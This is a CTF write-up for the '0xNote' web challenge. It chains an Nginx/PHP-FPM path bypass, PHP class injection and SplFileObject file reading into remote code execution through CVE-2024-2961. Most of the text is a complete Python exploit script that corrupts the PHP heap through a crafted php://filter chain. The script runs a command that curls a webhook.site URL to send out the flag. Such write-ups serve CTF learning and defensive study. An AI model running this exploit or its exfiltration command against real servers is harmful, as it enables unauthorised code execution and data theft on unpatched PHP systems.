0xNote
This is official writeup for my challenge in 0xL4ugh CTF v5 - 0xNote.

You can read the source code here: https://github.com/threalwinky/CTF-Challenges/tree/main/0xNote
Nginx - php-fpm bypass
The premium setting seems to be blocked:

However, we should notice that the proxy server is Nginx and the backend web server is PHP-FPM. This allows us to bypass the restriction using this trick:
Based on that, we can simply go to: /premium.php/index.php

Class injection
Notice that if we change the color value, the color in the session is also updated:
$_SESSION['color'] = $_POST['color'];
This value is then rendered into index.html as a new class:
<div class="note-display">
<h3>Your Note</h3>
<div class="note-content" id="noteContent">
<?= new $_SESSION["color"]($_SESSION["note"]) ?>
</div>
</div>
-> we can control the class name and set it to an arbitrary value
LFI using SPLFileObject
Using the SPLFileObject class, we can read any file on the web server, but only the first line:

To read full file, we can use php:// wrapper to base64 encode the file like this:
$c = new SPLFileObject('php://filter/convert.base64-encode/resource=/etc/passwd');

CVE-2024-2961
Now that we can read arbitrary files, we can move to the next level: RCE. The key vulnerability here is CVE-2024-2961.
Vuln lab:
https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.md
POC:
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
Because I’m just a chicken when it comes to pwn, I’ll only tell what we need to read:
- /proc/self/maps
- Use SPLFileObject(‘php://<iconv to set the charset>’) to trigger RCE
For full details, you can read here : https://blog.lexfo.fr/iconv-cve-2024-2961-p1.html
Full solve script
This is my solve script to bypass nginx -> read file -> set the charset to trigger RCE (Remember to change the webhook URL to your own)
import requests
from pwn import *
import re
import base64
import zlib
from bs4 import BeautifulSoup
session = requests.Session()
## Constant
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
## Post init function
def get_file(url, path):
path = f"php://filter/convert.base64-encode/resource={path}"
r = session.post(url + 'login.php', data={'username':'winky'})
r = session.post(url + 'index.php', data={'note':path})
r = session.post(url + '/premium.php/index.php', data={'color': 'SplFileObject'})
r = session.get(url + 'index.php')
soup = BeautifulSoup(r.text, "html.parser")
data = soup.find("div", id="noteContent").get_text(strip=True)
return base64.b64decode(data)
def compress(data):
return zlib.compress(data, 9)[2:-4]
def compressed_bucket(data):
return chunked_chunk(data, 0x8000)
def qpe(data):
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None):
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data, size: int = None):
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
## Pwn core
class PWN_Core():
def __init__(self, url, command) -> None:
self.url = url
self.command = command
self.info = {}
self.heap = None
self.pad = 20
class Region():
def __init__(self, start, stop, permissions, path):
self.start = int(start)
self.stop = int(stop)
self.permissions = permissions
self.path = path
@property
def size(self) -> int:
return self.stop - self.start
def download_file(self, remote_path: str, local_path: str) -> None:
data = get_file(self.url, remote_path)
Path(local_path).write_bytes(data)
def get_regions(self):
maps = get_file(self.url, "/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in [line.strip() for line in maps.strip().split('\n')]:
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = self.Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
return regions
def _get_region(self, regions: list[Region], *names: str) -> Region:
for region in regions:
if any(name in region.path for name in names):
break
return region
def find_main_heap(self, regions):
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
return first
def get_symbols_and_addresses(self) -> None:
regions = self.get_regions()
LIBC_FILE = "./libc"
self.info["heap"] = self.find_main_heap(regions)
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
def build_exploit_path(self):
self.get_symbols_and_addresses()
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = base64.b64encode(resource).decode()
resource = f"data:text/plain;base64,{resource}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
def solve():
# URL = 'http://challenges2.ctf.sd:34896/'
URL = 'http://127.0.0.1:5000/'
path = PWN_Core(URL, 'curl https://webhook.site/ca9a194c-4098-4d72-85c1-1e96a6a62fa0/$(/readflag)').build_exploit_path()
try:
r = get_file(URL, path)
except:
pass
print('Exploit sucessfully')
solve()

Flag: 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_4956dee93d5d25fa}


